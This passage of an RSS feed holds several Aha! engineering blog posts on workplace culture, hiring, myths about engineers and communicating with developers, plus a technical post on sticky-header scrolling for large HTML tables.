&lt;p&gt;For me, the joy came from the &lt;a href=&quot;/blog/you-deserve-to-be-happy-at-work&quot;&gt;satisfaction&lt;/a&gt; of trying to go faster and faster while still making those perfectly standard (and highly demanded) burgers every time.&lt;/p&gt;
&lt;p&gt;That early job taught me an important lesson: There is nothing menial about providing joy to customers and doing it over and over again.&lt;/p&gt;
&lt;p&gt;I have carried this philosophy into my work as co-founder and &lt;a href=&quot;/blog/the-4-qualities-of-engineers-this-cto-loves-to-hire&quot;&gt;CTO of Aha!&lt;/a&gt; But some of my greatest satisfaction still comes from the simple parts of what I do. This includes lesser-noticed tasks like getting UI elements pixel-perfect in their alignment or optimizing the last bit of performance from a SQL query.&lt;/p&gt;
&lt;p&gt;Science backs up my way of thinking. In fact, researchers recently &lt;a href=&quot;https://www.nytimes.com/2017/01/13/jobs/in-choosing-a-job-focus-on-the-fun.html&quot;&gt;confirmed&lt;/a&gt; that workers are more likely to stick to a job — and be happy in it — when they find small pleasures in their daily routine.&lt;/p&gt;
&lt;p&gt;If you are a software developer, it is important to find joy in the mundane. Here are three places to start:&lt;/p&gt;
&lt;h2&gt;Customer support&lt;/h2&gt;
&lt;p&gt;Support is often dismissed by engineers as being a less valuable use of time. However, I think that the opposite is the case in practice. Hearing problems directly from customers gets you to &lt;a href=&quot;/company/the-responsive-method&quot;&gt;solutions faster&lt;/a&gt;. It also helps when customers share common failure modes and use-cases. This shows you where you can improve for the future while also giving you greater empathy for the customer.&lt;/p&gt;
&lt;h2&gt;Edge and failure cases&lt;/h2&gt;
&lt;p&gt;Thinking about the ways some code might fail is hard and requires a lot of concentration. It is also not very rewarding since you are spending time on something that most people will never experience. However, brittle software — software that breaks easily or unexpectedly — is never desirable. So when hiring at Aha! we always &lt;a href=&quot;/company/careers/current-openings&quot;&gt;look for engineers&lt;/a&gt; who have that somewhat masochistic trait to keep pressing forward until even the most complex edge case is solved.&lt;/p&gt;
&lt;h2&gt;Polishing UI and UX&lt;/h2&gt;
&lt;p&gt;This requires a constant eye for detail and being unsatisfied with things that are almost right. Iterating on a user interface can be tedious, and different developers have a different tolerance for how many iterations they will go through. But the best UI developers are willing to stick at it for longer. And the result shows — but often not to the person using the feature. Users only tend to notice when a user interaction is not perfect. When it is perfect, it is unnoticeable.&lt;/p&gt;
&lt;p&gt;Great developers know that some of the smallest and seemingly mundane tasks can have the biggest impact.&lt;/p&gt;
&lt;p&gt;It is true that in any big project, there will be plenty of work that could be seen as tedious. But if you find that tedious work off-putting, it can be hard to get to completion. Alternatively, it can be easy to call something “done” without putting in that last bit of effort on the polish.&lt;/p&gt;
&lt;p&gt;I learned this early on by delivering those perfectly standard burgers. And I am still pushing myself today to be better and faster — even when the work is at its most tedious. I would encourage you to do the same. Embracing your most mundane work will lead to great results. And I bet you will find joy in the process.&lt;/p&gt;
&lt;p&gt;What small tasks bring you joy at work?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The New Normal for Your Engineering Teams]]></title><description><![CDATA[I still remember the chaos of my first job. A new team with new challenges. Facing critical work decisions for the first time. But there was…]]></description><link>https://www.aha.io/engineering/articles/the-new-normal-engineering-teams</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/the-new-normal-engineering-teams</guid><dc:creator><![CDATA[Alex Bartlow]]></dc:creator><pubDate>Tue, 31 Jan 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I still remember the chaos of my first job. A &lt;a href=&quot;/blog/6-common-misconceptions-about-engineers-debunked&quot;&gt;new team&lt;/a&gt; with new challenges. Facing critical work decisions for the first time. But there was something else that added to the chaos — a cooked-up and manic code base. It made me feel more like a mad scientist than a software developer.&lt;/p&gt;
&lt;p&gt;In simple terms, it was a customized Apache module. In more complex terms, it worked like this: It would run Perl code within CDATA tags in an XML file. And that file also contained the environmental details of the program. In effect, it was using Apache like a router. The files themselves as controller code, and then perl modules referenced within the files as both model and view.&lt;/p&gt;
&lt;p&gt;The system was bespoke, clever, artisanal… and completely batty.&lt;/p&gt;
&lt;p&gt;Thankfully my &quot;mad scientist&quot; days are behind me. Through the years, I have seen engineering teams take a more standardized, best-practice-driven approach. We certainly &lt;a href=&quot;/company/careers/current-openings&quot;&gt;do at Aha!&lt;/a&gt; — as a result of our streamlined approach, it is not uncommon for new developers to start contributing code their first day on the job.&lt;/p&gt;
&lt;p&gt;Yes, this standardized approach is becoming the new normal. And I think you will see things continue to get more &quot;sane&quot; in 2017.&lt;/p&gt;
&lt;p&gt;Here are five forces driving this trend:&lt;/p&gt;
&lt;h2&gt;Infrastructure automation&lt;/h2&gt;
&lt;p&gt;We are moving away from the &quot;human-follows-a-checklist&quot; processes of yesteryear and becoming more automated. While the DevOps movement has been growing for some time, these technologies are reaching a maturity that lends themselves to becoming embedded in businesses of any size. This makes it easier to develop, test, and deploy changes.&lt;/p&gt;
&lt;h2&gt;Open source&lt;/h2&gt;
&lt;p&gt;The development world is becoming one large — and powerful — &lt;a href=&quot;/blog/the-4-qualities-of-engineers-this-cto-loves-to-hire&quot;&gt;community&lt;/a&gt;. Through open source, our team is helping developers around the world find and fix bugs. And they are helping us too. Their feedback speeds up our troubleshooting and development. Leveraging open source contributions lets us focus on providing value, rather than reinventing the wheel.&lt;/p&gt;
&lt;h2&gt;Peer review&lt;/h2&gt;
&lt;p&gt;We are also emphasizing community within our team. Our regular code reviews play a big part in that. Not only do these reviews ensure quality for our work, but they also create a sense of camaraderie by getting multiple people involved in every feature we develop. Another advantage of code reviews it that they give us a chance to share and teach each other new techniques, patterns, and tools. This is invaluable for building a learning organization.&lt;/p&gt;
&lt;h2&gt;Cross-functional work&lt;/h2&gt;
&lt;p&gt;And the community building does not end there. We work closely with all Aha! teams, including Customer Success, UX, and Product Management. We know that everyone has to be on board to make the end-product a success. That is why every engineer plays a role in the process of supporting our customers. Engineers even lead a live customer demo as part of their on-boarding process (along with everyone else at Aha!). The last thing we want is to be disconnected from the rest of the organization — or from our customers.&lt;/p&gt;
&lt;h2&gt;Remote work&lt;/h2&gt;
&lt;p&gt;This is an incredible competitive advantage. For one, it gives us a deeper talent pool — working with people not just in the United States but also in Canada, New Zealand, and Australia. By having highly trained developers stationed around the world, we have 24/7 operational coverage. So when a solution comes to me at 11 p.m. at night EST, there is always someone else up and available to talk it through.&lt;/p&gt;
&lt;p&gt;We will all accomplish more through collaboration. And by shedding our &quot;mad scientist&quot; ways for a saner approach.&lt;/p&gt;
&lt;p&gt;But it’s not just the engineering team at Aha! that has embraced this new normal. We all know that the quickest way to innovate is by having a clear vision and collaborating on the execution — both inside and across teams.&lt;/p&gt;
&lt;p&gt;What will your engineering teams see more of this year?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The 4 Qualities of Engineers This CTO Loves to Hire]]></title><description><![CDATA[When I first learned to program, I did not have a computer. I wrote everything out on paper and just imagined what would happen when it ran…]]></description><link>https://www.aha.io/engineering/articles/4-qualities-engineers-cto-loves-hire</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/4-qualities-engineers-cto-loves-hire</guid><dc:creator><![CDATA[Chris Waters]]></dc:creator><pubDate>Fri, 06 Jan 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When I first learned to program, I did not have a computer. I wrote everything out on paper and just imagined what would happen when it ran. (This was back in the days when magazines actually had code listings for you to type into your Commodore 64 or Apple II, and the only storage was on cassette tapes.)&lt;/p&gt;
&lt;p&gt;The first computer I owned was a Macintosh 512K. It took about five minutes to boot off a floppy and you spent all your time swapping floppy disks. Many people found those early computers to be incredibly frustrating. I loved them.&lt;/p&gt;
&lt;p&gt;I was fascinated by the technology and wanted to keep learning more.&lt;/p&gt;
&lt;p&gt;As a co-founder of Aha! I enjoy hiring people that have the same sense of wonder for what could be around the next corner as I do. Our engineers share an adventurous spirit and love for what we do. I am proud of what we have accomplished so far, and we are always looking for more like-minded Aha!s who want to &lt;a href=&quot;/company/careers/current-openings&quot;&gt;join us in the work we do&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;People often ask me what we look for in engineers. So, I figured I would write it up because I think these are important qualities for anyone interested in joining a &lt;a href=&quot;/company/about&quot;&gt;rapidly growing company&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When hiring engineers, here are the four qualities that matter most to me:&lt;/p&gt;
&lt;h2&gt;Passion&lt;/h2&gt;
&lt;p&gt;We want people for whom writing software is the most rewarding thing they know. Writing code generates a mental high, which makes them want to keep doing it. They &lt;a href=&quot;/blog/you-dont-work-for-the-money&quot;&gt;keep going&lt;/a&gt; even when the work is frustrating and difficult, and they consider finding solutions and making new discoveries to be fun. This kind of passion is a necessary ingredient. It helps to create a virtuous cycle of learning and productivity, which leads to better skills.&lt;/p&gt;
&lt;h2&gt;Curiosity&lt;/h2&gt;
&lt;p&gt;In this field, you are never &quot;done.&quot; There is always something new to learn or improve upon. That is why we look for people who are always unsatisfied with their understanding of how their software works and are instead constantly wondering &quot;why?&quot; &lt;a href=&quot;/blog/my-name-is-chris-keele-this-is-why-i-joined-aha&quot;&gt;These individuals&lt;/a&gt; want to continually expand their knowledge and push their own boundaries. That kind of inquisitiveness is contagious to others on the team, and it ultimately benefits our customers in the form of continued enhancements and new features.&lt;/p&gt;
&lt;h2&gt;Demonstrated collaboration&lt;/h2&gt;
&lt;p&gt;The key part here is &quot;demonstrated.&quot; We use a candidate’s GitHub profile to understand whether they have made open-source contributions and whether they have given feedback or reported bugs to other open-source projects. We also want to discover whether they can work with others who they may have never met face-to-face. Of course, GitHub is not the only way that people communicate. But for someone making a &lt;a href=&quot;/blog/the-four-qualities-of-people-startups-should-hire&quot;&gt;hiring decision&lt;/a&gt;, seeing evidence of past collaboration can make it easier to arrive at a &quot;yes&quot; decision.&lt;/p&gt;
&lt;h2&gt;Humility&lt;/h2&gt;
&lt;p&gt;Software engineering has its fair share of arrogant personalities (just like any high-profile profession). But learning and cooperation are essential to long-term success. Those can only come if you have enough humility to realize that you can learn from those around you. Despite the logical aspects of building software, engineering is a field where you are often choosing the &quot;least-worst alternative.&quot; Opinion and judgment are often the only tools we can use to make a decision. Being able to see &lt;a href=&quot;/blog/4-skills-you-need-to-succeed-no-talent-required&quot;&gt;other points of view&lt;/a&gt; — and even accepting a decision that you do not necessarily agree with — is important.&lt;/p&gt;
&lt;p&gt;There are, of course, other core skills and attributes that factor into our hiring decisions. But I have learned that these four qualities are critical for success on our engineering team — and they are very much interconnected.&lt;/p&gt;
&lt;p&gt;As I pointed out, I wrote this because I am often asked what I focus on, but these characteristics are not limited to the engineering team. Every &lt;a href=&quot;/blog/4-qualities-of-great-remote-teams&quot;&gt;Aha! team member&lt;/a&gt; has a critical passion for their craft. We look for smart people who admit they do not have all the answers and want to constantly improve their skills and share that knowledge with others.&lt;/p&gt;
&lt;p&gt;And a humble confidence must be present as well. It helps us to build a strong team of high achievers who respect and challenge each other to get better and better.&lt;/p&gt;
&lt;p&gt;What qualities do you think are most important for software engineers?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[6 Common Misconceptions About Engineers, Debunked]]></title><description><![CDATA[Most product managers develop a close working relationship with their engineering team over time. Although sometimes a little quiet, they're…]]></description><link>https://www.aha.io/engineering/articles/6-common-myths-engineers-debunked</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/6-common-myths-engineers-debunked</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Thu, 07 Jul 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Most product managers develop a &lt;a href=&quot;/blog/how-engineers-want-to-work-with-product-managers&quot;&gt;close working relationship&lt;/a&gt; with their engineering team over time. Although sometimes a little quiet, they&apos;re a lovable bunch of nerds — right? On weekends they probably go home to drink Mountain Dew and play online games until the wee hours of the morning. They wake up at 10 a.m. and start again.&lt;/p&gt;
&lt;p&gt;Raise your hand if that&apos;s what you think about engineers. Whether you did or not, there are likely a lot of things that you might not know about your technology team.&lt;/p&gt;
&lt;p&gt;Stereotypes abound. The unique skills required to be a successful software developer add to the proliferation of myths. Misconceptions range from whimsical — “engineers love RPG gaming!” — to sweeping generalizations that are simply untrue — “developers are all introverts.”&lt;/p&gt;
&lt;p&gt;But if you can &lt;a href=&quot;/blog/how-much-dev-speak-should-product-managers-know&quot;&gt;get to know your engineers&lt;/a&gt; as the three-dimensional human beings they are, it will only help you relate to them better — both professionally and personally.&lt;/p&gt;
&lt;p&gt;So without further ado: Here are a selection of common misconceptions about developers — debunked by six developers at Aha!&lt;/p&gt;
&lt;h3&gt;Myth 1: All engineers were computer science majors&lt;/h3&gt;
&lt;p&gt;Many people assume that all engineers majored in a field related to technology — unless, of course, they dropped out like Bill Gates or Mark Zuckerberg. In fact, many find a passion for the field later in life. Others, like me, honed their skills on the side while pursuing humanities or liberal arts degrees. (I majored in English and Religion in college.) Strong programming skills take time and effort to develop. But perhaps more than any skilled job in history, that progress can occur on an individual basis rather than through formal training. What unites developers is their passion for quality code, regardless of how it was acquired. — Nathan&lt;/p&gt;
&lt;h3&gt;Myth 2: Engineers hate speaking in public&lt;/h3&gt;
&lt;p&gt;This myth plays along with the stereotype of social ineptitude. Supervisors and colleagues often presume that engineers despise speaking in public. Yet engineers are no different than other people. Some of us hate public speaking with a passion. Others seek it out especially in particular contexts. I lead a small group at my church regularly and thoroughly enjoy the experience. It allows me to explore ideas with other members, and help lead and direct discussion. — &lt;a href=&quot;/blog/my-name-is-alex-bartlow-this-is-why-i-joined-aha&quot;&gt;Alex&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Myth 3: Engineers loathe sports&lt;/h3&gt;
&lt;p&gt;This is one of the most pervasive myths about engineers — that we have a general disdain for sports (much less any aptitude for them). It is also one of the most inaccurate myths. In high school, I played tennis, cricket, and soccer. Some of the engineers at Aha! have competed in sports across the spectrum, including football, baseball, squash, rugby, and even badminton. Many software developers find sports to be a welcome part of their daily routine. After staring at a computer screen all day, some fresh air and time outdoors (or on the court) can be essential to maintaining a healthy perspective. — &lt;a href=&quot;/blog/my-name-is-toray-altas-this-is-why-i-joined-aha&quot;&gt;Toray&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Myth 4: All engineers are loners&lt;/h3&gt;
&lt;p&gt;Another common misconception is that engineers are all loners, introverts, or shut-ins who avoid social interaction as much as possible. I&apos;m quite the opposite. I thoroughly enjoy working remotely with the &lt;a href=&quot;/company/careers/current-openings&quot;&gt;distributed team at Aha!&lt;/a&gt;, but sometimes I crave the social interaction and atmosphere of an office environment. I&apos;ll often take my laptop to a coffee shop — and I even joined a coworking space where I can work with others in an office-like environment. Engineers run the spectrum from introverted to extroverted … just like all people do. — &lt;a href=&quot;/blog/my-name-is-chris-keele-this-is-why-i-joined-aha&quot;&gt;Chris K&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Myth 5: Engineers love new technology&lt;/h3&gt;
&lt;p&gt;Engineers work with technology all day, so when the latest and greatest becomes available, they can&apos;t wait to try it — right? Actually, the opposite is often true. Because developers spend so much of their time using technology (and fixing technology), the last thing we want is to deal with bugs and issues that often come with bleeding-edge software. I hate dealing with buggy new gadgets. Many of us frequently prefer to hold onto a phone, laptop, or operating system as long as it is functional — or until the stable version of a new product is available. — &lt;a href=&quot;/company/history&quot;&gt;Chris W&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Myth 6: Engineers are terrible writers&lt;/h3&gt;
&lt;p&gt;The one strikes a more personal note. Many colleagues have assumed that since I am an engineer, I am a poor writer or do not enjoy writing. In fact, I find writing and coding to be very similar activities. Both require clear and creative expression of ideas in a coherent and readable flow. The primary difference is the language — not the type of thinking required. While it is true that many engineers do not write well, this is more frequently a consequence of experience, not talent. Just like coding in a new language, writing effectively requires practice and diligence. However, it is no more foreign a craft to engineers than it is to anyone else. And the skills that engineers develop through coding often make us better writers. — &lt;a href=&quot;/blog/my-name-is-zach-schneider-this-is-why-i-joined-aha&quot;&gt;Zach&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Hopefully, our collection of myths from &lt;a href=&quot;/company/careers/current-openings&quot;&gt;Aha! engineers&lt;/a&gt; will help you get to know your own development team better. Don&apos;t stop here though. Why not ask your team about their unique hobbies, passions, and skills? You never know what you might find.&lt;/p&gt;
&lt;p&gt;What are some common misconceptions you have heard about engineers?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How Much "Dev Speak" Should Product Managers Know?]]></title><description><![CDATA[Product managers need to be able to connect with the engineering team. But some product managers — and people in general — often feel…]]></description><link>https://www.aha.io/engineering/articles/how-much-dev-speak-product-managers-know</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/how-much-dev-speak-product-managers-know</guid><dc:creator><![CDATA[Alex Bartlow]]></dc:creator><pubDate>Wed, 29 Jun 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Product managers need to be able to connect with the engineering team. But some product managers — and people in general — often feel excluded from the cultus of software development. I know because I am a software developer and I work with product managers every day.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/blog/the-product-manager-vs-the-engineering-manager&quot;&gt;Some engineers&lt;/a&gt; project the image of themselves as a sort of techno-priesthood — cloistered away from the common man, performing their holy rite of transubstantiating caffeine into code. Approach with coffee and brilliance, or not at all.&lt;/p&gt;
&lt;p&gt;To outsiders, it may appear that the shibboleth that will allow them access and respect is to adopt some psuedo dev speak.&lt;/p&gt;
&lt;p&gt;What is dev speak? It is a strange language that sounds something like this: “I just saw a great presentation on using Docker and NoSQL to web-scale our cloud.”&lt;/p&gt;
&lt;p&gt;The expectation is that the engineering team will nod their head in agreement, extend the secret handshake, and welcome the new product manager into the fold. However, as a software developer I can tell you that using low-level development jargon does not foster connection — at best it only sounds slightly off-key and at worst disingenuous.&lt;/p&gt;
&lt;p&gt;You sound like &lt;a href=&quot;https://www.youtube.com/watch?v=Ele_dj3ud38&amp;#x26;feature=youtu.be&quot;&gt;Steve Buscemi masquerading as a high-school student&lt;/a&gt;. Don’t be like Steve Buscemi. Don’t fall into the trap of believing that jargon is the secret password to any given group.&lt;/p&gt;
&lt;p&gt;Don’t tell anyone, but here is a deep dark dev secret: We do not like jargon.&lt;/p&gt;
&lt;p&gt;Programming jargon is a necessary evil. It allows us to communicate large ideas in the small space of our chat windows. It puts a handle on complexity, making it possible to communicate our intent — the mental house of cards of a program not yet written. But only bad developers use jargon to exclude others.&lt;/p&gt;
&lt;p&gt;Someone might have told you differently, but developers are people too! And people do not communicate in code. If you want to “speak developer” you should really try to get better at “speaking people.”&lt;/p&gt;
&lt;p&gt;We often refer to “hacks.” These are the shortcuts we take to achieve a desired end. Yet in building bridges between human beings — each of us an island — there are no shortcuts. Rather than memorize jargon, product managers should prioritize these four pillars of communication:&lt;/p&gt;
&lt;h2&gt;Vision&lt;/h2&gt;
&lt;p&gt;Vision is perhaps the hardest and most crucial thing that &lt;a href=&quot;/blog/how-engineers-want-to-work-with-product-managers&quot;&gt;product managers must communicate&lt;/a&gt;. Without vision, the people perish. This is where we trust you to present a convincing case for what we are building and why. Nobody gets excited for yet another social, local, mobile app to help people buy more stuff. Think bigger, find the place in the world where we can pull our company’s lever, and we’ll give you a place to stand. Let us work together on a realistic timetable. And then, trust us with how to build it — it’s what we do best.&lt;/p&gt;
&lt;h2&gt;Respect&lt;/h2&gt;
&lt;p&gt;Respect is something that we developers hold especially dear. Programming is hard. We fail constantly, and we actually write tests to show us our failures to avoid doing so publicly. Programming has been called an art, a science, a craft. I call it living poetry. &lt;a href=&quot;/blog/hey-product-managers-stop-pissing-off-the-engineers&quot;&gt;Respect our work&lt;/a&gt;. Respect the long hours we’ve spent to train ourselves, and ask us how what we’ve written really works. You will be awed. And we would love to explain it to you.&lt;/p&gt;
&lt;h2&gt;Trust&lt;/h2&gt;
&lt;p&gt;Developers and product managers want the same thing: to build an amazing product. We don’t write code for machines. We write it for you, for our customers, and, in tertiary measure, for ourselves. In some organizations, the walled silos make it hard to see the truth of that statement. (Hey product manager — tear down this wall!)&lt;/p&gt;
&lt;h2&gt;Excitement&lt;/h2&gt;
&lt;p&gt;Enthusiasm should be shared. And camaraderie will beat out mistrust any day of the week. Are you excited to solve problems for our users? I assure you, we are also excited to find creative ways to make it happen. Ask us how we solved it. Tell us how you found out that our customers needed it. What did they think? How can we make them even more happy and make our product more lovable?&lt;/p&gt;
&lt;p&gt;Is this approach harder than picking up a few bits of technological trivia? Of course it is. Bridging cultures has always been hard — it’s a common refrain throughout human history. But there is far more that unites us than divides us. We need each other.&lt;/p&gt;
&lt;p&gt;So stop talking like an annoying engineer. Start talking like a great product manager.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/blog/6-ways-experienced-product-managers-find-harmony-with-engineering&quot;&gt;Great product managers&lt;/a&gt; focus on our common ground. They are the eyes and ears for developers, showing us what our work is accomplishing. They help us see what’s coming on the roadmap and more importantly why it’s coming, so we can prepare for what’s ahead. And they communicate the vision that inspires us to create even more.&lt;/p&gt;
&lt;p&gt;How do you speak with the engineers?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why You Should Not Major in Engineering]]></title><description><![CDATA[My college algorithms class was the final weed-out course in the computer science program. It covered advanced topics like computational…]]></description><link>https://www.aha.io/engineering/articles/why-should-not-major-engineering</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/why-should-not-major-engineering</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Wed, 14 Oct 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My college algorithms class was the final weed-out course in the computer science program. It covered advanced topics like computational complexity and graph theory. If you passed, you would likely graduate. If you didn’t, the universe might be hinting that you aren’t cut out for a computer science career.&lt;/p&gt;
&lt;p&gt;My friend David (name changed) and I often studied together. As we commiserated, it became clear that I could solve problems differently than he could. Once I figured out how to click the puzzle pieces together, I easily “thought in code” while typing the solution. While David was very good at reasoning on a high level, he got bogged down in the nitty-gritty details of the solution.&lt;/p&gt;
&lt;p&gt;We both passed the course, but David switched his major to psychology after the semester. He realized he had no passion for computer science, but felt pressure (from society and home) to choose a “marketable” degree. David is now happily in grad school and not much worse for wear.&lt;/p&gt;
&lt;p&gt;But his poor initial choice of major cost him an extra year of college. Sadly, I have met many folks like David: well-intentioned, bright, and in the completely &lt;a href=&quot;/blog/the-only-way-to-reset-your-unhappy-career&quot;&gt;wrong field&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here are three reasons you should not be an engineer:&lt;/p&gt;
&lt;h2&gt;Engineering does not teach you how to think&lt;/h2&gt;
&lt;p&gt;People often describe computer science and related fields as problem-solving fields – writing code (or designing architecture or building circuit boards) to solve a particular problem. As a result, the best engineers are described as good problem-solvers – not only skilled but also creative and able to think outside the box.&lt;/p&gt;
&lt;p&gt;People don’t learn to solve problems by majoring in engineering; they major in engineering to give them the tools to use the problem-solving skills they already have.&lt;/p&gt;
&lt;p&gt;I acquired a wide variety of tools for solving particular coding problems during my computer science degree. I can sort arrays efficiently and I can write a script to interface with an API. But coding techniques are merely tools – in the hands of an unskilled problem-solver, they are as inept as a blowtorch in the hands of an amateur welder. I didn’t learn how to think in my computer science classes – how to take a step back, contextualize the problem, or invent new solutions.&lt;/p&gt;
&lt;p&gt;Rather, I learned how to think from the things I did outside of computer science. I participated in competitive debate throughout college – this experience taught me to think critically and consider a variety of viewpoints on a given issue. I minored in philosophy – this taught me how to analyze arguments and use sound logic. I ran a student newspaper – this taught me how to write well and work with people.&lt;/p&gt;
&lt;h2&gt;College is not the end of your learning&lt;/h2&gt;
&lt;p&gt;Many people pick up additional skills after leaving college, perhaps even pivoting entirely in their choice of career. And most colleges don’t teach you the skills you need in the contemporary tech industry anyway. The languages and techniques I learned in my degree program were easily 10 years behind the times; I acquired the skills that landed me a tech job by doing side projects in my spare time.&lt;/p&gt;
&lt;p&gt;Many people with successful careers in tech or even engineering never graduated from college or earned a degree in a completely unrelated field. But college is a unique time to learn how to learn.&lt;/p&gt;
&lt;p&gt;For the first and often last time in your life, you have the liberty and the free time to grow as a person – to make mistakes, take classes in subjects you love, take classes in subjects you think you love but eventually hate, participate in extracurriculars, and ultimately set the stage for how you will live the rest of your life.&lt;/p&gt;
&lt;p&gt;You can pick up tech skills anytime. If you love coding, you’ll probably end up doing more of it outside of class than in, regardless of whether the class is machine learning or underwater basket-weaving. If you don’t, maybe you will in five years, or maybe you never will because you find some other career that fulfills you.&lt;/p&gt;
&lt;h2&gt;Businesses need problem solvers&lt;/h2&gt;
&lt;p&gt;At Aha! we are fortunate to have a variety of &lt;a href=&quot;/company/careers&quot;&gt;skilled and passionate people&lt;/a&gt; working in their particular fields of strength. Most of them never write a line of code. They learned how to communicate, how to think, how to write, and how to filter, contextualize, and process information to create incredible marketing solutions. They’re all exceptionally bright individuals – I have no doubt that any one of them could have completed a degree in computer science.&lt;/p&gt;
&lt;p&gt;But it’s likely that their talents would never have blossomed in such a field, and they certainly would not have become the core contributors to a thriving tech company that they are today.&lt;/p&gt;
&lt;p&gt;The magic of the Internet era is that you can learn to code anytime and from anywhere. Don’t squander your short four years of college staring at some code that won’t compile.&lt;/p&gt;
&lt;p&gt;I’m not telling every engineer they should drop out of their degree program. For many people, such as me, engineering can be a fulfilling and enjoyable major, allowing you to hone your skills and learn from experts in a variety of technological studies.&lt;/p&gt;
&lt;p&gt;But if you’re struggling through a semester of engineering classes simply because you don’t think you can get a job otherwise, I’m here to tell you: you shouldn’t major in engineering.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Perfecting a Smooth Scrolling Experience for Large Tables]]></title><description><![CDATA[Depending on who you ask, the <table> is a quintessential cornerstone of web development old and new; an outmoded curiosity from a time…]]></description><link>https://www.aha.io/engineering/articles/perfecting-smooth-scrolling-experience-large-tables</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/perfecting-smooth-scrolling-experience-large-tables</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Tue, 25 Aug 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Depending on who you ask, the &lt;code&gt;&amp;#x3C;table&gt;&lt;/code&gt; is a quintessential cornerstone of web development old and new; an outmoded curiosity from a time where CSS lacked floating elements; or somewhere in between. But even the biggest critics of the &lt;code&gt;&amp;#x3C;table&gt;&lt;/code&gt; must admit that it is excellent at one task: laying out and automatically resizing to accommodate data of varying width and height.&lt;/p&gt;
&lt;p&gt;This made the &lt;code&gt;&amp;#x3C;table&gt;&lt;/code&gt; the obvious choice for &lt;a href=&quot;/product/reports&quot;&gt;Aha! Reports&lt;/a&gt;, which allows users to pivot a huge range of data from Aha! in cells that may be very wide, very tall, both, or neither.&lt;/p&gt;
&lt;p&gt;The problem we quickly encountered, though, is accommodating tables that are much larger than the screen size. Scrolling a standard &lt;code&gt;&amp;#x3C;table&gt;&lt;/code&gt; will cause the headers to disappear on both the top and left, making it difficult to figure out exactly what data you are looking at. This problem was exacerbated by the fact that many common use cases produce pivot tables that are several thousands of pixels wide or tall, making it far too easy for users to get lost while scrolling.&lt;/p&gt;
&lt;p&gt;We investigated a variety of existing solutions but found that multidirectional sticky-header scrolling was essentially an unsolved problem in web development. Existing plugins supported one direction of scrolling (such as sticky column headers) but not two, which was no good for our use case. Other sites that had the same problem simply resorted to not using &lt;code&gt;&amp;#x3C;table&gt;&lt;/code&gt; elements at all – but that meant resorting to arbitrarily sized &lt;code&gt;&amp;#x3C;div&gt;&lt;/code&gt; elements which frequently cropped data if it was too large – again, no good for a view that is intended to surface data from across Aha!&lt;/p&gt;
&lt;p&gt;So I cracked my knuckles and got to work on a new solution. I originally experimented with just cloning the &lt;code&gt;&amp;#x3C;thead&gt;&lt;/code&gt; and &lt;code&gt;&amp;#x3C;th&gt;&lt;/code&gt; elements and setting their position to fixed, manually adjusting the position of each header when scrolling the other. But this lead to some unsatisfactory scrollbar behavior – the scrollbars took up the entire height and width of the table (rather than just the body which was truly being scrolled) and displayed inconsistent browser behavior – some browsers would insist on positioning the fixed header over the scrollbar regardless of which CSS attributes I set.&lt;/p&gt;
&lt;p&gt;Frustrated by that approach, I was struck with an idea: what if we could leverage the layout flexibility of the &lt;code&gt;&amp;#x3C;table&gt;&lt;/code&gt; to generate correctly-sized &lt;code&gt;&amp;#x3C;div&gt;&lt;/code&gt; elements for scrolling? That line of inquiry became the basis for the unique scrolling behavior of the pivot table.&lt;/p&gt;
&lt;p&gt;The table is initially rendered using a classic &lt;code&gt;&amp;#x3C;table&gt;&lt;/code&gt;. However, immediately upon pageload, that &lt;code&gt;&amp;#x3C;table&gt;&lt;/code&gt; is used to generate a series of &lt;code&gt;&amp;#x3C;div&gt;&lt;/code&gt; elements which are actually presented for user interaction. The row and column headers are generated as a very wide (or tall) series of &lt;code&gt;&amp;#x3C;div&gt;&lt;/code&gt;s contained by a fixed-position wrapper. Similarly, the table body itself is used to generate &lt;code&gt;&amp;#x3C;div&gt;&lt;/code&gt;s contained by a fixed-position body wrapper. Scrolling “just works” – the headers are set to overflow: hidden and the body is set to overflow: scroll; and scrolling the body triggers an appropriate update to the scroll position of the headers. The result is a buttery-smooth scrolling experience that allows the table to be useful at any size and scroll position.&lt;/p&gt;
&lt;iframe src=&quot;https://player.vimeo.com/video/136849955&quot; width=&quot;625&quot; height=&quot;394&quot; frameborder=&quot;0&quot; title=&quot;Aha! Pivot Table Scrolling&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Here at Aha! we are obsessed with building perfect user experiences that are excellent down to the most minor of details. We believe that our technology should never be an obstacle to our customers’ product management success, and we back up that belief with an unwavering commitment to solving technical problems via any means necessary.&lt;/p&gt;
